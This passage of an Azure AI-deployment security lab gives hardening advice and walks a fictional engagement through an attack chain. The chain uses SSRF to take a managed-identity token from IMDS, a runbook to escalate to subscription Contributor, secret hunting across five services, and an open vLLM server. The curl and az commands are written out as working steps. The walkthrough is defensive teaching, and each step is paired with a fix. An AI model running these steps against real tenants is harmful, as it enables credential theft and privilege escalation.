| 1. Inherit a secure environment | Deploy the resource group + workspace with Bicep or Terraform, not click-ops. Apply an Azure landing zone baseline and Azure Policy guardrails (deny public network, require customer-managed keys, CMK) at the subscription. |
| 2. Protect at rest / in transit / in use | Azure Key Vault customer-managed keys on the workspace + its storage. TLS 1.3 is default. For "in use," confidential computing (DCasv5 / NCC-H100) SKUs. |
| 3. Secure exposed APIs | Prefer Entra managed identity tokens over the static endpoint key where the caller is an Azure workload; keep Azure AI Content Safety on. Put Azure API Management or Front Door (a web application firewall, WAF, + rate limits) in front. Validate input before the call. |
| 4. Monitor behaviour | Azure Monitor + Log Analytics (§5.6) + a scheduled KQL alert for query-volume anomalies. Microsoft Defender for Cloud for finding-level alerts. |
| 5. Protect model weights | DeepSeek-R1 is open-weights: on managed compute, store the model artifacts in a CMK-encrypted storage account with RBAC + audit, and pin the model version your eval passed against. |
| 6. Strict access controls | Entra RBAC (role-based access control) least-privilege — assign Azure AI Developer, never Owner. Managed identity (not the shared key) for app-to-endpoint. Conditional Access on the tenant. Quarterly access review against the audit log. |
| 7. Ongoing testing | Schedule a recurring agentic pentest (Lab 10 toolchain) against the endpoint using a scoped test identity. Track findings in the same Log Analytics workspace. |
| 8. Constrain the agent (client-side, beyond the NSA list) | Keep dcode's approval gates on; scope its tools; run untrusted tasks in a remote sandbox. Never store the endpoint key in a dotfile or commit it — put it in Key Vault or an env var, and rotate it (az ml serverless-endpoint regenerate-keys) on any suspicion. |
7 · Real-world attack chain · Azure managed-identity escalation, SSRF to subscription-wide ~45 min
The NSA-aligned hardening in §6 covers the deployment you ship. What it does not cover is what a real engagement looks like when an attacker chains misconfigurations across Azure services. This section walks one such chain end-to-end. The vehicle is a fictional MegaCorpAI / St. Hubbins consulting engagement; the techniques map to incidents Wiz, Orca, and MSRC have published against real Azure-hosted ML platforms in 2024–2026.
The chain has six steps: SSRF in a public web app → the VM's managed-identity token from IMDS → an over-broad custom RBAC role → an Automation Account whose identity is Contributor at the subscription → five Azure services leaking secrets → a self-hosted DeepSeek/vLLM VM anyone on the internet can hit. Every step maps to something on the NSA seven-principles checklist (§3) — sometimes by violating it, sometimes by being scoped too broadly to matter.
- Think · 3 minThe attacker starts as an anonymous internet user hitting one web endpoint and ends with write access across the whole subscription. On your own, name the single Azure primitive that lets a foothold on one VM turn into a broader identity — and the one HTTP request you'd send first from a compromised Azure VM to pick up a token. (Hint: it's a link-local IP and a specific header.)
I've done the Think step — reveal Pair & Share
- Pair · 4 minCompare predicted chains. Did one of you reach for IMDS + managed identity and the other a leaked key? Which careful, scoped custom role do you each think a later hop quietly makes irrelevant?
- Share · 2 minAs a table, commit to one answer: which built-in role, assigned at which scope, on which shared resource, defeats every scoped custom role upstream of it — then check it against 7.3 · the built-in-role trap.
7.1 Foothold · SSRF on the patient-portal VM (NSA #2 · Validate input)
The patient portal runs on an Azure VM and has an /api/export?template_url=... endpoint that fetches a URL server-side and renders the report. Classic Server-Side Request Forgery (SSRF). On Azure, the crown jewel an SSRF reaches is the Instance Metadata Service (IMDS) at the link-local address 169.254.169.254 — every VM's managed-identity token lives one HTTP request away. Azure's only guard is a required Metadata: true header (there is no AWS-IMDSv2-style session token), so an SSRF that forwards a header, or an app whose HTTP client adds none that conflict, walks right in:
kali@kali:~$ curl -s -H "Metadata: true" "https://portal.sthubbins.health/api/export?template_url=\ http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01%26resource=https://management.azure.com/" {"access_token":"eyJ0eXAiOiJKV1Qi...", "resource":"https://management.azure.com/", "token_type":"Bearer", "client_id":"a1b2c3d4-...", "expires_in":"86399"} kali@kali:~$ # decode the JWT payload to learn WHO this token is echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '{oid, appid, xms_mirid}' {"oid":"77e0...","xms_mirid":".../patient-portal-vm","appid":"a1b2c3d4-..."}
SSRF returned a short-lived managed-identity token (a JWT, a JSON Web Token) for the Azure Resource Manager (ARM) management plane — no static key needed. The xms_mirid claim names the identity: the patient-portal-vm's system-assigned identity. It's short-lived, but it inherits whatever RBAC that VM was granted, and it will happily talk to management.azure.com.
7.2 First hop · what the VM's identity can actually do (NSA #5 · Least privilege)
Authenticate the CLI with the stolen token and enumerate. The VM identity has a custom role scoped to the resource group — reasonable-looking. But two entries give away the next hop:
$ az role assignment list --assignee 77e0... --all \ --query "[].{role:roleDefinitionName, scope:scope}" -o table Role Scope ---------------- ------------------------------------------------ portal-app-role /subscriptions/…/resourceGroups/sthubbins-rg $ # the role definition — most of it is tight, two lines are not
{
"roleName": "portal-app-role",
"assignableScopes": ["/subscriptions/…/resourceGroups/sthubbins-rg"],
"permissions": [{
"actions": [
"Microsoft.Resources/subscriptions/resourceGroups/read",
"Microsoft.Storage/storageAccounts/listKeys/action", // ← account-key theft, unscoped
"Microsoft.Automation/automationAccounts/read",
"Microsoft.Automation/automationAccounts/jobs/write" // ← can start runbooks
]
}]
}
listKeys hands over storage account keys (§7.4). But the escalation is automationAccounts/jobs/write: the identity can start a runbook, and runbooks execute as the Automation Account's own managed identity — a different, and as it turns out far broader, identity.
7.3 Second hop · the Automation Account's Contributor identity (NSA #5 · the built-in-role trap)
The mlops-automation Automation Account exists to run nightly retraining jobs. Someone gave its system-assigned identity the built-in Contributor role — assigned at the subscription scope, "so the runbooks don't fail." That single assignment is the entire bug. We publish a one-line runbook that grabs a token and runs as that identity:
$ az automation runbook create -g sthubbins-rg --automation-account-name mlops-automation \ -n pwn --type PowerShell $ az automation runbook replace-content ... --content 'Connect-AzAccount -Identity; Get-AzSubscription' $ az automation runbook start -g sthubbins-rg --automation-account-name mlops-automation -n pwn # the job runs as mlops-automation's identity — now check what THAT can do $ az role assignment list --assignee <automation-mi-oid> --all -o table Role Scope ----------- ------------------------------- Contributor /subscriptions/8f2a…
Contributor grants write on nearly every resource in its scope — it can't touch RBAC itself (Microsoft.Authorization/*/write is excluded), but it can read every storage key, deploy resources, run commands on VMs, and pull from every registry. Assigned at subscription scope on a shared automation identity that any RG-scoped role can trigger, it sits downstream of — and quietly cancels — every carefully scoped custom role above it. This is the Azure twin of AWS's AmazonSageMakerFullAccess trap: a convenient broad grant on a shared resource.
# the moment of accidental cross-team access — resources from other clients appear
$ az resource list --query "[].resourceGroup" -o tsv | sort -u
rainyday-risk-rg # a completely different client
sthubbins-rg # ours
tapheads-fraud-rg # another client
The fix is structural: never assign built-in Contributor/Owner at subscription or resource-group (RG) scope to a shared or automation identity. Use a custom role scoped to the exact resources the runbook touches, and Privileged Identity Management (PIM) for just-in-time elevation instead of standing privilege.
7.4 Secrets sprawl · five Azure services (NSA #4 · Encrypt + #6 · Logging)
With subscription-wide write we go shopping for credentials. ML pipelines fragment secrets across services because each integration ("write to blob," "read a connection string," "log a run") needs its own touch-point. Each row below is a real Azure pattern; they generalize.
| Service | Leak vector | What it gave up |
|---|---|---|
| Azure Key Vault | RBAC/access-policy too broad + version history retained | Current DB password + the previous one (rotated but still readable via /secrets/{name}/{oldVersion}) |
| Storage account | listKeys → account key → download blob | patient_feedback.csv — names, emails, departments — straight protected health information (PHI) |
| App Configuration | Connection strings stored as plaintext key-values, not Key Vault references | Postgres + Service Bus connection strings in the clear |
| Automation variables | Variable created with Encrypted = false | A service-principal client secret with its own standing access |
| Container Registry (ACR) | az acr login (Contributor) → pull image → docker inspect | Hugging Face token + storage key baked into an ENV at build time |
The recurring lesson: ML workflows scatter secrets across services without centralized secret management. Each service becomes another hiding place; defenders chase them service-by-service while attackers enumerate them in a morning. The fix is one secret store (Azure Key Vault with RBAC, not legacy access policies), short-lived issued credentials, purge of old versions, and an aggressive ban on plaintext everywhere else — App Configuration Key Vault references, encrypted Automation variables, no secrets in image ENV.
7.5 The internet-exposed model (NSA #3 · Restrict network access)
Instead of the hardened serverless endpoint from §5, a hurried team self-hosted DeepSeek-R1 on a raw GPU VM running vLLM. Contributor lets us enumerate compute and its network rules:
$ az vm list -d --query "[?publicIps!=''].{name:name, ip:publicIps, size:hardwareProfile.vmSize}" -o table Name Ip Size ------------- -------------- ----------------- deepseek-vllm-vm 20.85.123.45 Standard_NC24ads_A100_v4 $ az network nsg rule list --nsg-name deepseek-vllm-nsg -g sthubbins-rg \ --query "[?access=='Allow'].{name:name, port:destinationPortRange, src:sourceAddressPrefix}" -o table Name Port Src ---------- ----- -------- ssh 22 Internet vllm-api 8000 Internet <-- the model, open to the world $ curl -s http://20.85.123.45:8000/v1/models | jq -r '.data[].id' deepseek-ai/DeepSeek-R1
An A100 VM running vLLM with port 8000 open to Internet (Azure's name for 0.0.0.0/0) and no authentication. Any internet user queries the model directly — bypassing the serverless endpoint's key auth, its Content Safety filter, the RBAC, and every audit log Azure would have written for an authorized call. This is the §4 lesson made operational: the gateway is not the model server.
The §6 NSA checklist made "private networking (Private Endpoints / VNet)" its own principle. This is why. A vLLM server bound to 0.0.0.0:8000 inside a VNet reaches the public internet the moment its Network Security Group has an Allow rule with source Internet on port 8000 — and NSGs are configured by application teams, not by the platform team that wrote the RBAC. The vLLM VM defeated every RBAC control upstream of it without the attacker sending a single management-plane call.
7.6 What the chain looked like, end to end
| Hop | Identity | Capability gained | NSA principle violated (§3) |
|---|---|---|---|
| 0 | Internet | SSRF in /api/export | #2 Validate input |
| 1 | patient-portal-vm managed identity | IMDS → ARM token + RBAC map | #2 Input + #3 Network (IMDS reachable) |
| 2 | same (custom portal-app-role) | unscoped listKeys + start Automation runbooks | #5 Least privilege |
| 3 | mlops-automation identity | runbook exec → Contributor at subscription | #5 (the trap) |
| 4 | same | five-service secret hunt yields production creds | #6 Logging + #4 Encrypt |
| 5 | Internet (no creds) | direct query to self-hosted DeepSeek/vLLM VM · no auth | #3 Private networking |
- Validate the
template_urlat the edge. Allowlist trusted hosts; refusefile://, the link-local169.254.169.254, and any private/internal IP. The SSRF is the door; close the door. - Never grant built-in
Contributor/Ownerat subscription or RG scope to a shared or automation identity. Use a custom role scoped to the exact resources the workload touches. Azure RBAC best practices is the starting point. - Shrink the IMDS blast radius. Azure has no IMDSv2-style session token — the
Metadata: trueheader is the only guard — so the defense is scope: keep each VM/App identity's RBAC tiny, and block outbound to169.254.169.254from request-handling code. A stolen token should be worth almost nothing. - Centralize secrets in Key Vault (RBAC, not access policies). Purge old versions; ban plaintext elsewhere — App Configuration Key Vault references, encrypted Automation variables, no secrets in App Configuration key-values.
- Alert on the tells in Azure Monitor / Defender for Cloud. Anomalous managed-identity token use, Automation runbook job creation by an unexpected principal, and new role assignments. Delete or redact historical log streams that captured secrets.
- Strip
ENVsecrets from images at build time. Use BuildKit secrets (--mount=type=secret) for build-time credentials so they don't bake into the final image; scan ACR images for embedded keys. - Default-deny NSGs + Private Endpoints; zero
Internet-sourced rules on model ports. The hardened serverless endpoint (key auth + Content Safety + audit) is what should face callers — never a raw vLLM VM. If you must self-host, it binds127.0.0.1behind a reverse proxy.
Which Azure Activity Log event would have given the earliest, highest-signal alert in this engagement? The earliest moment a SOC could have caught it — and what alert would have made the catch cheap?
Show one defensible answer
patient-portal-vm identity. A web-portal VM should never start an MLOps runbook. An Azure Monitor alert on Activity Log Microsoft.Automation/automationAccounts/jobs/write where the caller is the portal's managed identity would have fired on hop 3 — before any secrets were read, before the subscription-wide token was ever used. Pair it with a paging-loud playbook ("portal identity started an automation job — expected?"). Cheap to write; impossible to evade, because the escalation requires that runbook to run.8 · Best practices
dcode stuck in a loop — that calls your endpoint a million times overnight will cost you. In Azure, put a Cost Management budget on the subscription (or resource group) with alerts; the alert is the cap./versions/N you dropped in §5.3). Plan a quarterly migration window to bump it.9 · Anti-patterns
- Click-ops everything. Manual console configuration produces a deployment nobody else can reproduce or audit. Terraform / Pulumi / Bicep / CloudFormation — pick one and check it in.
- One resource group per environment under a single subscription, with a managed identity handed Owner or Contributor at subscription scope. The blast radius of any compromised identity is then "the whole subscription" (exactly the §7 chain). Scope RBAC to the resource, or you're paying for cloud and getting laptop-level security.
- Trusting the platform's content filter as the only defense. Cloud-native filters catch common cases. Your application has specific risks; your Lab 11 classifier covers those.
- Long-lived service-principal client secrets (or endpoint keys) committed to a private repo. Private isn't the same as encrypted.
git history+ a stolen laptop is the most common exfiltration path. Use Entra managed identity or short-lived tokens, and keep any unavoidable key in Key Vault. - Skipping the threat model because "it's just a demo." Demos get demoed, demoed things get production-ized, the threat model never gets written. Do it once, at the start, in five paragraphs of Markdown.
FAQ
Why Azure for this lab?
Because Azure AI Foundry has the deepest enterprise-identity integration (Entra) — which makes the identity and RBAC lessons concrete — and it deploys DeepSeek-R1 serverless straight from the CLI. Vertex and Bedrock are operationally equivalent for this material; if your account is elsewhere, the concepts in §2 transfer, but the exact CLI commands won't. Learn one cloud in depth here.
What if my team is on-prem only?
Same patterns, different primitives: replace Identity-Aware Proxy (IAP) with OpenID Connect (OIDC) + an authenticating reverse proxy, replace IAM with Kerberos/RBAC, replace BigQuery with Splunk/Elastic. The seven NSA principles all apply.
What's the cheapest production-realistic deployment?
Azure Foundry serverless DeepSeek-R1 (pay-per-token, no VM to keep running) behind the default content filter, audited to Log Analytics. If your subscription can't use serverless yet, managed compute on the smallest GPU SKU works — just scale it to zero or delete the endpoint the moment you're done, or the running VM quietly burns your budget.
Is DeepSeek-R1 really deployable from the CLI?
Yes — we deployed it end-to-end while writing this lab. Its Model ID resolves in the azureml-deepseek registry, and it's sold by Azure, so az ml serverless-endpoint create stands up a key-authed endpoint with no Marketplace subscription step. The one variable is region: serverless availability differs by region (a sibling model, DeepSeek-V3.1, returned ServerlessModelNotAvailable in our region while R1 deployed cleanly). If create reports the model unavailable, recreate the workspace in a supported region or use managed compute. Want a different model? Any serverless catalog entry works — swap the model_id; the agent and audit wiring are identical.
Is it safe to let dcode run my shell with a self-hosted model?
Only with the guardrails on. The model being yours doesn't make its output trustworthy — a prompt-injected file or a hallucinated command is just as dangerous from DeepSeek-R1 as from any model. Keep dcode's approval gates enabled, scope its tools, and run anything touching untrusted input in a remote sandbox. See the §5.5 callout and hardening row 8.
Does this work with Claude / Gemini / GPT directly (no open-weights)?
Yes. Replace §5.3 with a managed-model API call (no GPU SKU, no Marketplace subscription). Everything else — Entra auth, content safety, audit logs, the dcode wiring, the threat model — is identical. The shared-responsibility line in the try-it widget shifts to the "SaaS API" position, but the layers you own are the same.